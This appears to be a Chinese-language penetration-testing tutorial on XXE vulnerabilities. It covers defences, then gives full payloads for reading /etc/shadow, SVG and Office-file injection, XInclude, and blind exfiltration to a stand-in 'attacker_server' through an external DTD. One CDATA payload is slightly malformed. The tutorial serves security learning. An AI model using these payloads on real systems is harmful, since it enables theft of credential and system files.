前置知识
XXE如何理解?
它是可扩展标记语言 ( XML) 用于存储和传输数据。
通常始于异步JavaScript和XML技术(ajax技术):网页应用能够快速地将增量更新呈现在用户界面上,而不需要重载(刷新)整个页面。
目前JSON的使用比XML更加普遍。JSON和XML都被用于在Ajax模型中的XML技术。
这种标记语言允许开发人员定义和表示任意数据结构的HTML。
以下为定义属性和值的Security Assertion Markup Language(SAML)语言
<saml:AttributeStatement>
<saml:Attribute Name="username"> # 定义属性
<saml:AttributeValue> # 定义值
vickieli
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
XML 格式广泛用于 Web 应用程序的各种功能,包括身份验证、文件传输和图像上传,或者只是将 HTTP 数据从客户端传输到服务器并返回。
XML 文档可以包含 文档类型定义 ( DTD) ,它定义了 XML 文档的结构及其包含的数据。
注意:&file; 是实体,而不是外部实体。
这些DTD可以从外部加载或在文件本身的DOCTYPE标签中声明
以下是一个DTD,它定义了一个名为file的XML实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file "Hello!">
]>
<example>&file;</example> # &file; = Hello!
我们可以将XML的实体,理解于类似编程语言中的变量:即,&file; = Hello!
XML 文档还可以使用外部实体通过 URL 访问本地或远程内容。
当语法中使用SYSTEM 关键字时,则该实体是外部实体,其值将从URL加载
URL可以从本地文件系统中加载,也可以从互联网中加载
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "file:///example.txt">
]>
<example>&file;</example>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "http://example.com/index.html">
]>
<example>&file;</example>
实体与外部实体
我们知道了,XML外部实体的由来,也能够区分它们的一纸之隔(有没有语法SYSTEM 关键字的定义)
不管是什么实体(如果用户可以控制 XML 实体或外部实体的值),则可以基于xml技术后的各种网站业务功能点(比如,实际网站在使用此技术上传文件)或者此技术的解析引擎来产生各种漏洞。
已知的威胁来自于两点
1.攻击者可以控制实体的值。
2.xml解析器错误的配置为从输入的地方读取xml文档时解析和评估 DTD,攻击者可以声明自己的外部实体以实现恶意结果。
此类攻击称为 XML 外部实体攻击,或 XXEs。
防御
防止 XXE 就是限制 XML 解析器的功能。因为 XXE 攻击需要 DTD 处理,应该尽可能禁用 XML 解析器上的 DTD 处理。
如果无法完全禁用 DTD,您可以禁用外部实体、参数实体。
为了防止基于 XXE 的 DoS,您可以限制 XML 解析器的解析时间和解析深度。 您还可以完全禁用实体的扩展。
禁用 DTD 处理和配置解析器行为的机制因使用的 XML 解析器而异。
比如:PHP XML 解析器,需要设置 libxml_disable_entity_loader 为 TRUE来禁用外部实体。
其他语言的最佳配置与实践请参考owasp备忘单,以及各种官方文档与静态分析软件的官网文档
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md
甲骨文的最佳实践建议
静态代码分析sonarsource的最佳实践建议
https://rules.sonarsource.com/java?search=XXE
另一条防御角度是输入验证,黑白名单等
为了防止盲XXE,可以禁止出站的网络流量。
XXE的特征值
在使用bp基于功能点的观察与抓包时,<?xml是最明显的一个提示,告诉您该站点在使用XML技术
还要注意base64编码,LD94bWw,表示<?xml
还可以强制应用程序解析 XML 数据。即,网站明确的表现为在收发json数据,那能不能将此数据交换强制置为xml技术?配置上的失误与一些不安全的默认项,使其变为现实。
修改content-type头,强制输入xml格式的数据
Content-Type: text/xml
Content-Type: application/xml
意识中,遇到的每一个功能点都假设,思维中思考此处的数据,后台可能会接收与处理xml格式的数据。
经典的XXE测试手法
显注解析与其他注入类漏洞没有什么本质上的区别,就是放置payload,响应包观察;盲注与其他类型的漏洞也没什么本质上的区别,使用第三方可控的服务器辅助观察,比如dnslog,内网搭建测试服务器等,观察访问日志。
测试SYSTEM的外部实体,是否能被解析;是否能从本地加载;是否能从外部URL加载。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "Hello!">
]>
<example>&test;</example>
如果SYSTEM定义的外部实体都无法解析,那还是别乱怼了。人家在一开始就已经将DTD配置为最佳防御策略了。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "file:///etc/hostname">
]>
<example>&test;</example>
SYSTEM语法上的其他语法可选项,比如PUBLIC语法, "abc"是给解析器看的,与&test;关联起来,将后面的值给它。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test PUBLIC "abc" "file:///etc/hostname"> # "abc" 为标识ID,给解析器看的。它将abc与&test;关联起来,并将payload替换给&test;
]>
<example>&test;</example>
测试盲XXE
通过让目标服务器向攻击者的服务器发出请求并使用泄露的信息来窃取数据。
确认服务器是否可以出站,访问到攻击者的服务器
关于dmz区域的防火墙流量的限制:80,443,53等基础依赖端口先行测试。因为网站业务需求,它自己就很可能需要从其他地方读取其他图片,js,css等资源。防火墙把所有的都禁止了,资源还如何加载进来。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "http://attacker_server:80/xxe_test.txt">
]>
<example>&test;</example>
在不同的文件类型中插入 XXE payload
除了在 HTTP 请求正文上测试 XXE 之外,您还可以尝试将包含 XXE payload的文件上传到服务器。
网站可能限制了可以上传的文件类型,此时可以在不同的文件类型中插入 XXE payload
这里仅示例几个,其他文件类型可以自行搜一搜
svg文件,记事本打开编辑
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "file:///etc/shadow">
]>
<svg width="500" height="500">
<circle cx="50" cy="50" r="40" fill="blue" />
<text font-size="16" x="0" y="16">&test;</text>
</svg>
办公文件都是压缩文件
Microsoft Word 文档( .docx 文件)、PowerPoint 演示文稿 ( .pptx ) 和 Excel 工作表 ( .xlxs )
修改后缀名为zip,插入payload,打包还原
可以简单地将payload插入 /word/document.xml 、 /ppt/presentation.xml 或 /xl/workbook.xml 。 最后,将档案重新打包为 .docx 、 .pptx 或 .xlxs 格式。
linux中的zip还原办公文档
cd example
zip -r new_example.docx *
XInclude攻击
有时无法控制整个 XML 文档或编辑 XML 文档的 DTD。 但是,如果目标应用程序接受用户输入并将其插入到后端的 XML 文档中,仍然可以利用 XXE 漏洞。
XInclude 是一个特殊的 XML 特性,它从名为 xi:include 的单个 XML 标记构建一个单独的 XML 文档。如果可以控制传递到 XML 文档中的单个未经处理的数据,就可以在该值中放置 XInclude 攻击。
输入点payload如下,响应包观察特征值
引用http://www.w3.org/2001/XInclude命名空间,以识别xi:include标签的功能性特殊含义
<example xmlns:xi="http://www.w3.org/2001/XInclude"> # 引用http://www.w3.org/2001/XInclude命名空间,以识别xi:include标签的功能性
<xi:include parse="text" href="file:///etc/hostname"/>
</example>
使用参数实体拼凑多态性payload
这种攻击可能不起作用,因为大多数解析器不允许外部实体包含在其他外部实体中。
file包含在exfiltrate中,这种攻击可能不起作用。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "file:///etc/shadow">
<!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file;">
]>
<example>&exfiltrate;</example>
XML DTD 有一个称为参数实体的特性。参数实体是只能在 DTD 内的其他地方引用的 XML 实体,它从外部加载DTD。用百分号 (%) 字符声明和引用的。
解析器遇到符号 %,才将解析方式理解为外部DTD的模式。内部还是外部的DTD,由%于解析器中触发。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % ent "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # &#x25;百分号的十六进制
%ent;
%exfiltrate;
]>
根据 XML 规范,在内联 DTD(在 DOCTYPE 标记内指定的 XML 文档中的 DTD)和外部 DTD(在别处托管的单独 DTD)中,参数实体的处理方式不同。在内联 DTD 中,不能在标记中引用参数实体,因此该行不起作用:<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'>
,而在外部 DTD 中,不存在这样的限制。
要通过盲XXE测试的话,需要在攻击者服务器上准备好xxe.dtd文件。注意:这是直接盲测发给服务器的请求,引诱服务器加载http://attacker_server/xxe.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">
%xxe;
]>
然后将payload编写于xxe.dtd文件中,使用%或者不带%等一切可行的payload来进行测试。注意:以下才是攻击者服务器上面准备好的payload,具体危害是读取
file:///etc/shadow文件。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % ent "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # &#x25;百分号的十六进制
%ent;
%exfiltrate;
]>
将dtd文件payload部署于攻击者服务器的示例
关于返回数据的格式化问题
如果您尝试读取特定格式的文件,则 XXE 数据泄露会变得更加复杂。
例如尖括号 (<>)、引号 (" 或 ') 和与号 (&)等各种特殊符号,它们在返回数据的时候可能会被其他东西特殊对待与处理掉。
在 XML 文件中,包裹在 CDATA(字符数据)标签中的字符(<![CDATA[" "]]>
)不会被视为特殊字符。
<!ENTITY % file SYSTEM "file:///passwords.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % ent "<!ENTITY &#x25; exfiltrate'http://attacker_server/?%start;%file;%end;'>">
%ent;
%exfiltrate;
感谢师傅们很有耐心的阅读到了这里。我们还会再见面的。共勉。